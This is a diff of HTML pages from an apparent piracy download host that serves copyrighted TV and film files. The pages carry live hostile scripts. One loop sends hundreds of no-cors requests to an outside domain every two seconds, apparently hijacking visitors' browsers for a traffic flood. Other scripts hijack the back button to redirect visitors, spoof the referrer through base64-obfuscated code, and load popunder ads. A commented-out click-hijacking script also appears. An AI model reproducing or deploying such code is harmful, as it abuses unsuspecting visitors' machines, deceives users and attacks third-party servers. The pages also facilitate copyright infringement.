for (let i = 0; i < 369; i++) {
|
||||
|
||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
"referrerPolicy": 'no-referrer',
|
||||
});
|
||||
}
|
||||
}
|
||||
x();
|
||||
const intervalId = setInterval(() => {
|
||||
x();
|
||||
}, 2000)
|
||||
</script>
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||
|
||||
|
|
@ -1,4 +1,11 @@
|
|||
<script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
|
||||
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||
<script type="text/javascript">
|
||||
aclib.runPop({
|
||||
zoneId: '10553222',
|
||||
});
|
||||
</script>
|
||||
|
||||
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
history.pushState(null, null, location.href);
|
||||
|
|
@ -12,8 +19,7 @@ document.addEventListener("DOMContentLoaded", function() {
|
|||
<head>
|
||||
<title>Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
|
||||
<meta name="referrer" content="no-referrer">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
|
|
@ -130,10 +136,11 @@ document.addEventListener("DOMContentLoaded", function() {
|
|||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body><center>
|
||||
<body>
|
||||
<center>
|
||||
<br/>
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
||||
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
|
|
@ -160,7 +167,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
<p class="h3 text-success">Download Link Generated</p>
|
||||
<div class="input-group mb-3">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.one/drive/nknlofk8snfnknh" readonly="" id="ilink">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/nknlofk8snfnknh" readonly="" id="ilink">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||
</div>
|
||||
|
|
@ -176,8 +183,6 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
<div class="ad-container"></div>
|
||||
|
||||
|
||||
|
|
@ -185,15 +190,21 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<iframe src="https://pixeldrain.dev/u/2kFQBQio?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
||||
<a href="https://pixeldrain.dev/api/file/2kFQBQio?download" download="Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pub-0cef6721657649918259091880efe12f.r2.dev/c8c652be7fb5a8d731b9c7ddc465d37f?token=1774428754" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=4cbb9dc94a8c4698314305f887e913c3e7fef7f000d3da8d2bd1f4d6a1dca4d45fb98f415eea4192a2aeb35f6accfac5767d8eddd50fad89c724bb8075ae2dbe2e2987753b74253cf00625ede66ea0ec8ea4150eebb24be8a9e70bf70563d808::54473e647fcc8c02ec47d4d732f45d14" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<a href="https://pixel.hubcdn.fans/?id=d4697e0d4f27ea5067265503a820f05245ffd2d64a88ce6ecce4e18b6cace173bebc13920763a92baeaefe65f8c8a26efd836a0c1b3e92b4ce717874a5ff26a0764642b8090a5f7ef227bdb0bd6744ea8aa7edc43957e94b6ac9d2034c5a1d29::bada52a274d97488e2e76c1718bc16f5" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
|
|
@ -204,18 +215,16 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
|
||||
<iframe src="https://pixeldrain.dev/u/2kFQBQio?embed" width="0" height="0" frameborder="0" style="display:none;" sandbox="allow-scripts allow-same-origin"></iframe>
|
||||
<a href="https://pixeldrain.dev/u/2kFQBQio" download="Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #6f42c1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [PixelServer : 2]</a>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pub-c0c400d353df4c68ae3a2d5e089ecf60.r2.dev/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download File [3.15 GB]</a>
|
||||
|
||||
|
||||
|
||||
<a href="https://ddl2.cloudserver-1692964037.workers.dev/1397313204/31f8b5a9e6a1a2e056ef0905797230a1f28057dc1e4d12e6843c03ac6bfdf7d87889a636620b547798bce78d1647ebb482a308c38e4149f422bc3afb2b6f7d171a63e1ff2029b7f90c72181d26989a4de3c23f7b316ee3138fc1dd9c2612d8c8dae2b4c5297f87320ffcb63d71429bde3258ec121653bd4c6f49f372465f13acf7bcc770f52f649c1c65c7cc54d18ed36620a55ccb9bbef084af996524ea69df8191345e6dba2f8398d7b5c3ef2500a32bd2e147507a1741efe63c902d8e1821::61c7925f0014900c78f913a268a069bf/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv.zip" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #474b48 !important;"><i class="fas fa-file-download fa-lg"></i> Download [ZipDisk Server]</a>
|
||||
<p style="
|
||||
font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">Resume is Supported in ZipDisk But please extract it as the files is inside zip</p>
|
||||
|
||||
|
||||
|
||||
|
|
@ -224,7 +233,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
|
||||
|
||||
<br>
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTltdXlNZTd3OHJmcEtqSG1zYkN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram 🔥</a>
|
||||
<a href="https://www-google-com.cdn.ampproject.org/c/s/bloggingvector.shop/foo/aHR0cHM6Ly93d3ctZ29vZ2xlLWNvbS5jZG4uYW1wcHJvamVjdC5vcmcvYy9zL25ld3NvbmdzLmNvLmluL2dvP2lkPTNPZnAzZHl1b3FUaHp1RFkzTi9LNGFIWjNOQ2p1K3JQek9EaTZ0SGgyTlhrNGFqbjU5YmYzYkhEeTdPK3lOM0QyOHJmbyt6Q3dlVEN3cDIvcXNxOTFiL0t1S3FpeXFianhNZlV2cmpKMjlXNjJPQ2htc2pMNWJ6T3ljbTZ3Y0hZdWN1eTRMRT0=" target="_blank" rel="noopener noreferrer nofollow" class="btn btn-primary h5" style="margin-top: 11px;"><i class="fab fa-telegram fa-lg"></i></i> Downoad From Telegram </a>
|
||||
|
||||
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||
|
||||
|
|
@ -241,7 +250,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
if(isAndroid()){
|
||||
android_launch.classList.remove("d-none");
|
||||
android_launch.addEventListener('click', ()=>{
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-c0c400d353df4c68ae3a2d5e089ecf60.r2.dev/Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv',scheme: 'https',type: 'video/x-matrosk',
|
||||
var anchor = document.createElement('a');anchor.href= createIntentURL({host: 'https://pub-0cef6721657649918259091880efe12f.r2.dev/c8c652be7fb5a8d731b9c7ddc465d37f?token=1774428754',scheme: 'https',type: 'video/x-matrosk',
|
||||
});anchor.click();
|
||||
});
|
||||
|
||||
|
|
@ -278,7 +287,7 @@ HubCloud | <a href="https://hubcloud.one/drive/admin">Login</a>
|
|||
</div>
|
||||
<div class="card">
|
||||
<div class="card-body" id="div1">
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.one/drive/nknlofk8snfnknh</p>
|
||||
<p id="sharelink" onclick="copy_link('div1')">https://hubcloud.foo/drive/nknlofk8snfnknh</p>
|
||||
</div>
|
||||
<button class="btn btn-success btn-sm" id="button1" onclick="copy_link('div1')"><i class="fa fa-copy"></i> Copy Link</button>
|
||||
<script>
|
||||
|
|
@ -307,16 +316,22 @@ function copy_link(e){let el=e;e = document.getElementById(el).value; if(typeof
|
|||
<br><br>
|
||||
</div>
|
||||
Msc
|
||||
|
||||
<video autoplay muted playsinline preload="metadata" hidden>
|
||||
<source src="https://lh3.googleusercontent.com/pw/AP1GczPvuSJv__IfKHEWza111gQ8cf-7_HNU3Mi1oSxHgtoUmS3z22DcgLvk9zNq5_zQGxp3_asDWKLY6cLB-5BYRip6ElCgllgQccSk4-p_7YwGDCQnx0E=m18#t=0,1" type="video/mp4"></video>
|
||||
|
||||
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/popper.js@1.14.3/dist/umd/popper.min.js" integrity="sha384-ZMP7rVo3mIykV+2+9J3UJ46jBk0WLaUAdn689aCwoqbBJiSnjAK/l8WvCWPIPm49" crossorigin="anonymous"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/js/bootstrap.min.js" integrity="sha384-ChfqqxuZUCnJSK3+MXmPNIyE6ZbWh2IMqE241rYiqJxyMiZ6OW/JmZQ5stwEULTy" crossorigin="anonymous"></script>
|
||||
|
||||
<!--2dl-->
|
||||
|
||||
<div class="footer">
|
||||
|
||||
<p>Made with <svg width="1em" height="1em" viewBox="0 0 16 16" class="bi bi-heart-fill" fill="red" xmlns="http://www.w3.org/2000/svg"> <path fill-rule="evenodd" d="M8 1.314C12.438-3.248 23.534 4.735 8 15-7.534 4.736 3.562-3.248 8 1.314z" /> </svg></p>
|
||||
</div>
|
||||
|
||||
<script defer src="https://static.cloudflareinsights.com/beacon.min.js/v8c78df7c7c0f484497ecbca7046644da1771523124516" integrity="sha512-8DS7rgIrAmghBFwoOTujcf6D9rXvH8xm8JQ1Ja01h9QX8EzXldiszufYa4IFfKdLUKTTrnSFXLDkUEOTrZQ8Qg==" data-cf-beacon='{"version":"2024.11.0","token":"ce57d66a8dc54ff7a63a7a9b493d15a0","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>
|
||||
</body>
|
||||
</html><script>
|
||||
window.sessionStorage.setItem('xl',window.location.href)
|
||||
|
|
@ -326,25 +341,11 @@ function cn(t){let e=window.location.protocol+"//"+window.location.host+t;histor
|
|||
function setCookie(e,t,i){let o=encodeURIComponent(t),$=new Date;$.setTime($.getTime()+36e5*i);let n=`${e}=${o}; expires=${$.toUTCString()}; path=/`;document.cookie=n}setCookie("xyt",1,24);
|
||||
</script>
|
||||
|
||||
<script>
|
||||
function x(){
|
||||
for (let i = 0; i < 369; i++) {
|
||||
|
||||
fetch("https://apis.damanworlds.world/api/"+new Date().getTime() + i, {
|
||||
"method": "GET",
|
||||
"mode": "no-cors",
|
||||
"referrerPolicy": 'no-referrer',
|
||||
});
|
||||
}
|
||||
}
|
||||
x();
|
||||
const intervalId = setInterval(() => {
|
||||
x();
|
||||
}, 2000)
|
||||
</script>
|
||||
|
||||
<!--<script async src="https://greenanalytics.autos/recaptcha/v4_enc.js"></script>-->
|
||||
|
||||
<!--<script>let s__=!1,observer=null;const sc_="a, button";function opst(e){if(!s__)return;e.preventDefault(),e.stopImmediatePropagation();let t=document.createElement("a");t.href=s__,t.target="_blank",t.rel="noopener noreferrer",t.click();let r=document.querySelectorAll(sc_);r.forEach(e=>{e.removeEventListener("click",opst)}),observer.disconnect()}function atchs(){let e=document.querySelectorAll(sc_);e.forEach(e=>{e.addEventListener("click",opst,{once:!0})})}window.addEventListener("message",function(e){try{let t=JSON.parse(e.data);t?.url&&(s__=t.url,atchs(),(observer=new MutationObserver(atchs)).observe(document.body,{childList:!0,subtree:!0}))}catch(r){}},!1);-->
|
||||
<!--</script>-->
|
||||
|
||||
<script data-cfasync="false" type="text/javascript" id="AdsCoreLoader100641" src="https://sads.adsboosters.xyz/60e6df74e82f934b77ca81ccdfccfd40.js"></script>
|
||||
|
||||
|
|
@ -0,0 +1,355 @@
|
|||
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script>
|
||||
<script type="text/javascript">
|
||||
aclib.runPop({
|
||||
zoneId: '10553222',
|
||||
});
|
||||
</script>
|
||||
|
||||
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
|
||||
<script>
|
||||
document.addEventListener("DOMContentLoaded", function() {
|
||||
history.pushState(null, null, location.href);
|
||||
window.onpopstate = function () {
|
||||
history.go(1);
|
||||
window.location.href = 'https://push-me-once.com/go/1272663';
|
||||
};
|
||||
});Object.defineProperty(document,atob('cmVmZXJyZXI='),{get:function(){return atob('aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=')}});
|
||||
</script>
|
||||
<html>
|
||||
<head>
|
||||
<title>Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv</title>
|
||||
<meta charset="utf-8">
|
||||
<meta name="referrer" content="no-referrer"/>
|
||||
|
||||
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
|
||||
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-KyZXEAg3QhqLMpG8r+8fhAXLRk2vvoC2f3B09zVXn8CA5QIVfZOJ3BCsw2P0p/We" crossorigin="anonymous">
|
||||
|
||||
<link href="https://fonts.googleapis.com/css?family=Nunito:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i" rel="stylesheet">
|
||||
|
||||
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
|
||||
|
||||
<meta name=viewport content="width=device-width, initial-scale=1">
|
||||
<meta name="robots" content="noindex, nofollow">
|
||||
<meta name="googlebot" content="noindex,nofollow">
|
||||
|
||||
|
||||
|
||||
</head>
|
||||
<style>
|
||||
.icon{width:48px;height:48px}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0}.bg-primary{background-color:#4e73df!important}body{font-family:"Nunito",-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji"!important;font-weight:14px}.font-weight-bold{font-weight:700!important}.text-primary{color:#007bff!important;padding:.75rem 1.25rem;background-color:#f8f9fc;border-bottom:1px solid #e3e6f0;position:relative;display:flex;flex-direction:column;min-width:0;word-wrap:break-word;border:1px solid #e3e6f0;border-radius:.35rem;line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.font-weight-bold{font-weight:700!important}.m-0{margin:auto!important;width:100%}h4,.h4{font-size:1.4rem}.card-body{flex:1 1 auto;padding:1.25rem}.nav-tabs{border-bottom:1px solid #dddfeb}.nav{display:flex;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link.active,.nav-tabs .nav-item.show .nav-link{color:#6e707e;background-color:#fff;border-color:#007bff #dddfeb #fff;font-weight:600}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.35rem;border-top-right-radius:.35rem}.nav-link{display:block;padding:.5rem 1rem}a{color:#4e73df;text-decoration:none;background-color:transparent}.footer{width:100%;height:auto;position:absolute;right:0;padding:15px 50px 0 15px;font-size:15px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right}.tab-content{width:90%;height:auto;position:initial;right:0;padding:0;text-align:center}.btn{color:#fff!important;background-color:#007bff!important;border-color:#007bff!important;font-weight:700!important}.btn:hover{color:#fff!important;background-color:#0069d9!important;border-color:#0062cc!important}.btn-success:not(:disabled):not(.disabled):active:focus,.btn-success:not(:disabled):not(.disabled).active:focus,.show>.btn-success.dropdown-toggle:focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-success:focus,.btn-success.focus{box-shadow:0 0 0 .2rem rgba(38,143,255,0.5)}.btn-lg,.btn-group-lg>.btn{padding:.5rem 1rem;font-size:1.2rem;border-radius:.45rem}.header{width:100%;height:auto;position:relative;right:0;padding:10px 50px 5px 15px;font-size:16px;color:#000;background-color:#F2F2F2;border-top:0 solid #E6E6E6;font-weight:600;text-align:right;margin-top:-25px}.alert-danger{background-color:#e74c3c;border-color:#e74c3c;color:#fff}.alert{padding:15px;margin-bottom:21px;border:1px solid transparent;border-radius:4px}.card{line-break:auto;word-break:break-all;white-space:normal;text-overflow:ellipsis;overflow:hidden}.m-5{margin:auto!important}.swal-button{background-color:#007bff!important}.card-header:first-child{font-weight:600}
|
||||
.btn-success1 {
|
||||
color: #fff;
|
||||
background-color: #28a745;
|
||||
border-color: #28a745;
|
||||
display: inline-block;
|
||||
text-align: center;
|
||||
font-size: 1rem;
|
||||
letter-spacing: .4px;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
font-weight: 600;
|
||||
text-decoration:none !important;
|
||||
vertical-align: middle;
|
||||
-webkit-user-select: none;
|
||||
-moz-user-select: none;
|
||||
-ms-user-select: none;
|
||||
user-select: none;
|
||||
border: 1px solid transparent;
|
||||
padding: .375rem .75rem;
|
||||
line-height: 1.5;
|
||||
border-radius: .30rem;
|
||||
transition: color .15s ease-in-out,background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;
|
||||
}
|
||||
.btn-success1:not(:disabled):not(.disabled).active, .btn-success1:not(:disabled):not(.disabled):active, .show>.btn-success1.dropdown-toggle {
|
||||
color: #fff;
|
||||
background-color: #1e7e34;
|
||||
border-color: #1c7430;
|
||||
}
|
||||
.btn-success1:hover {
|
||||
color: #fff;
|
||||
background-color: #218838;
|
||||
border-color: #1e7e34;
|
||||
}
|
||||
.btn-success1.focus, .btn-success1:focus {
|
||||
box-shadow: 0 0 0 0.2rem rgb(72 180 97 / 50%);
|
||||
}
|
||||
.btn-lg, .btn-group-lg > .btn2 {
|
||||
padding: .5rem .6rem !important;
|
||||
font-family: 'Open Sans',sans-serif!important;
|
||||
letter-spacing: .1px;
|
||||
border-radius: 0.35rem!important;
|
||||
}
|
||||
.ads-btns {
|
||||
position: relative;
|
||||
overflow: hidden
|
||||
}
|
||||
.ads-btns a.btn2 {
|
||||
min-width: 40%
|
||||
}
|
||||
|
||||
.ads-btns svg {
|
||||
fill: #fff;
|
||||
width: 17px;
|
||||
position: absolute;
|
||||
right: 0;
|
||||
top: 0
|
||||
}
|
||||
|
||||
.ads-btns svg path {
|
||||
fill: #fff;
|
||||
stroke: #fff
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child path {
|
||||
fill: #fff;
|
||||
stroke: transparent
|
||||
}
|
||||
|
||||
.ads-btns svg:first-child {
|
||||
right: 20px
|
||||
}
|
||||
.downloads-btns-div .btn2 {
|
||||
margin: 0 3px 12px
|
||||
}
|
||||
.btn2 {
|
||||
font-style: normal;
|
||||
font-weight: 500;
|
||||
font-size: 14px;
|
||||
text-align: center;
|
||||
text-transform: uppercase;
|
||||
border: 2px solid #cbfc01;
|
||||
padding: 10px 15px;
|
||||
border-radius: 6px;
|
||||
-webkit-border-radius: 6px;
|
||||
-moz-border-radius: 6px;
|
||||
background: #0ebac3;
|
||||
color: #000;
|
||||
display: inline-block;
|
||||
text-decoration: none;
|
||||
background: #cbfc01
|
||||
}
|
||||
|
||||
|
||||
.btn-zip {
|
||||
border-color: #00d0ff;
|
||||
background: #00d0ff;
|
||||
color: #000
|
||||
}
|
||||
</style>
|
||||
<body>
|
||||
<center>
|
||||
<br/>
|
||||
<div class="header">
|
||||
HubCloud | <a href="https://hubcloud.foo/drive/admin">Login</a>
|
||||
</div>
|
||||
|
||||
<div class="container">
|
||||
<div class="card-body">
|
||||
<h2>
|
||||
<div class="main" id="section2">
|
||||
|
||||
<div class="card h6">
|
||||
|
||||
<div class="card-header text-white bg-primary mb-3">
|
||||
Goat (2026) 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-(BYNDR-4kHdHub).mkv </div>
|
||||
|
||||
<div class="card-body">
|
||||
<ul class="list-group">
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Size<i id="size">17.78 GB</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">File Type<i>video/x-matrosk</i></li>
|
||||
<li class="list-group-item d-flex justify-content-between align-items-center">Share Date<i id="date">24-Mar-2026 05:58:31</i></li>
|
||||
</ul>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
</div>
|
||||
<p class="h3 text-success">Download Link Generated</p>
|
||||
<div class="input-group mb-3">
|
||||
<input onclick="copy_link('ilink')" type="text" class="form-control" value="https://hubcloud.foo/drive/p94k4dccjwxjcx4" readonly="" id="ilink">
|
||||
<div class="input-group-prepend">
|
||||
<span class="input-group-text btn" id="basic-addon2" onclick="copy_link('ilink')">Copy Share Link</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<!-- Banners -->
|
||||
<!--<ins data-revive-zoneid="6" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||
<!-- Mobile Banners -->
|
||||
<!--<ins data-revive-zoneid="7" data-revive-cphost="43509b58b68d940f8734726dfed6c5c8|1|hubcloud.in" data-revive-id="1d63e790351363d29b61f9cf59b98fad"></ins>-->
|
||||
<!--<script async src="//greenfox.ink/d/asyncjs.php"></script>-->
|
||||
|
||||
<div class="alert alert-warning h6" role="alert">
|
||||
<span>If All Servers 🛜 are not working ❌ Then Please <br><b>Change Your Browser DNS To Cloudflare 🚀 or Use <a href="https://one.one.one.one/" target="_blank">VPN</a></b> <br><a href="https://tinyurl.com/Unblock-Ban-Site" target="_blank">How ? Click Here 👉 to Watch Tutorial 👀</a></span>
|
||||
</div>
|
||||
|
||||
|
||||
<a href="https://cdn.fsl-buckets.life/Goat 2026 2160p 10bit HDR10+ DV iTunes WEB-DL HEVC x265 [Hindi AMZN DDP 5.1 640kbps + English DDP Atmos 5.1] ESub-BYNDR-4kHdHub.mkv?token=af180cafc2418c7c47249d0167ba9704" id="s3" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6" style="background-color: #2d50e2d1 !important;"><i class="fas fa-file-download fa-lg"></i> Download [FSLv2 Server]</a>
|
||||
|
||||
<script>
|
||||
const fsl = document.getElementById('s3');
|
||||
if (fsl) fsl.href += '_1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
<div class="ad-container"></div>
|
||||
|
||||
|
||||
<div class="ad-containerx"></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://hub.shipcdn.buzz/06a50fe95983473b5eeb7fa0ed1b453b?token=1774428722" id="fsl" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-success btn-lg h6"><i class="fas fa-file-download fa-lg"></i> Download [FSL Server]</a>
|
||||
<script>
|
||||
const fsl = document.getElementById('fsl');
|
||||
if (fsl) fsl.href += '1' + new Date().getMinutes();
|
||||
</script>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a href="https://pixel.hubcdn.fans/?id=9ca5a77d1f6a5e30157f1ba9335f5f37c246c28a9362693731d08440ebf515ae0bad03a3f054cc1cfc5fd342ead92bee375037aa0be4a07cce23c85320203685335142526fc508a5afc2ef06e1369c99fee1345a55224cddce65e250a0c33632::b31f4889dde70a376ef549e8fa698de9" rel="noreferrer nofollow noopener" target="_blank" class="btn btn-danger btn-lg h6" style="background-color: #dc3545 !important;">
|
||||
<i class="fas fa-file-download fa-lg"></i> Download [Server : 10Gbps]</a>
|
||||
|
||||
<p style="font-size: 12px; padding-bottom:4px !important; margin-bottom:0px !important">
|
||||
Resume Not Supported in 10Gbps So Use only if you have stable internet (:
|
||||
</p>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<button id="android_launch" class="btn btn-success btn-lg h6 p-2 d-none" style="background: #0d0b15 !important;"><i class="fab fa-android fa-lg" style="color: #63E6BE;"></i> DL/Open with Android App</button>
|
||||
|
||||
<script>
|
||||
function createIntentURL({host, scheme = 'http', type = 'application/octet-stream'}) {
|
||||
let host_ = host.replace('https://', '');
|
||||
return `intent://${host_}#Intent;scheme=${scheme};action=android.intent.action.VIEW;type=${type};S.browser_fallback_url=${encodeURIComponent(host)};end`;
|
||||
}
|
||||
function isAndroid() {
|
||||
return /Android/i.test(navigator.userAgent);
|
||||
}
|
||||
|
||||
const android_launch = document.getElementById('android_launch');
|
||||
if(isAndroid()){
|
||||
